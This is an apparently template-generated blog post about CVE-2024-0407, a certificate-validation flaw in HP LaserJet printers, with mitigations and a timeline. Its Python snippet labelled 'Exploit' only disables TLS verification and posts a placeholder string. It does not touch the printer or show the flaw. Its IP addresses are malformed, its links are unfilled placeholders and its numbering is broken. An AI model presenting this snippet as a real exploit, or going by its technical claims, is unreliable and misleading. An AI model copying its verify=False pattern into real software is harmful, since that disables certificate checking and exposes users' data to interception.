A recent discovery has revealed a notable security vulnerability (CVE-2024-0407) in certain HP Enterprise LaserJet and HP LaserJet Managed Printers, which could potentially lead to information disclosure. The vulnerability occurs when connections made by the affected devices back to certain services enabled by specific solutions may be trusted without having the appropriate Certification Authority (CA) certificate installed in the printer's certificate store.

This vulnerability can potentially allow an attacker to intercept and access sensitive information that is transmitted between the printer and connected services. In this post, we will be delving into the details of this vulnerability, providing code snippets, and discussing potential mitigation measures.

Affected Devices

According to the [HP official security bulletin](LINK_TO_BULLETIN), the following printer models may be affected by this vulnerability:

HP LaserJet Managed Printers

**Please refer to the [official bulletin](LINK_TO_BULLETIN) for an exhaustive list of the affected models.

Details of the Vulnerability

The vulnerability arises when the affected devices trust connections made to certain enabled services without having the appropriate CA certificate installed in the certificate store. The affected printers may not validate the connections properly, which could expose sensitive information.

Here's an example of how this vulnerability could be potentially exploited

# Exploit: CVE-2024-0407
# Description: Information Disclosure Vulnerability in HP Enterprise LaserJet and LaserJet Managed Printers

import requests

# Target Printer IP Address
TARGET_PRINTER = "http://192..2.";

# Target Service URL
TARGET_SERVICE = "http://198.51.100.";

# Using an unvalidated connection to transmit data
unvalidatedConnection = requests.Session()
unvalidatedConnection.verify = False

response = unvalidatedConnection.post(TARGET_SERVICE, data={"data": "sensitive_information"})

# Check if the connection was successful
if response.status_code == 200:
    print("Data sent successfully")
else:
    print("Failed to send data")

Refer to the [official HP advisory](LINK_TO_ADVISORY) for more technical information related to this vulnerability.

Mitigations and Recommendations

HP has recommended the following steps to mitigate the potential risks associated with this vulnerability:

Ensure that the affected device is running the latest firmware.

2. Verify the certificates being used for connections between the printer and connected services. Make sure that all connections use properly validated CA certificates.

For detailed mitigation procedures, refer to the [HP security bulletin](LINK_TO_BULLETIN).

Conclusion

To summarize, the information disclosure vulnerability CVE-2024-0407 in HP Enterprise LaserJet and HP LaserJet Managed Printers is a notable security risk. The affected devices trust connections without validating the appropriate CA certificate, which could potentially lead to the compromise of sensitive information.

Users of the affected devices are highly recommended to follow HP's advisories and take appropriate mitigation measures, such as updating their firmware and ensuring that connections to services are made using properly validated CA certificates.

By adhering to best security practices and keeping firmware up-to-date, users can minimize the potential for security vulnerabilities like CVE-2024-0407 to impact their systems and sensitive information.

Timeline

Published on: 02/21/2024 01:15:07 UTC
Last modified on: 02/22/2024 19:07:37 UTC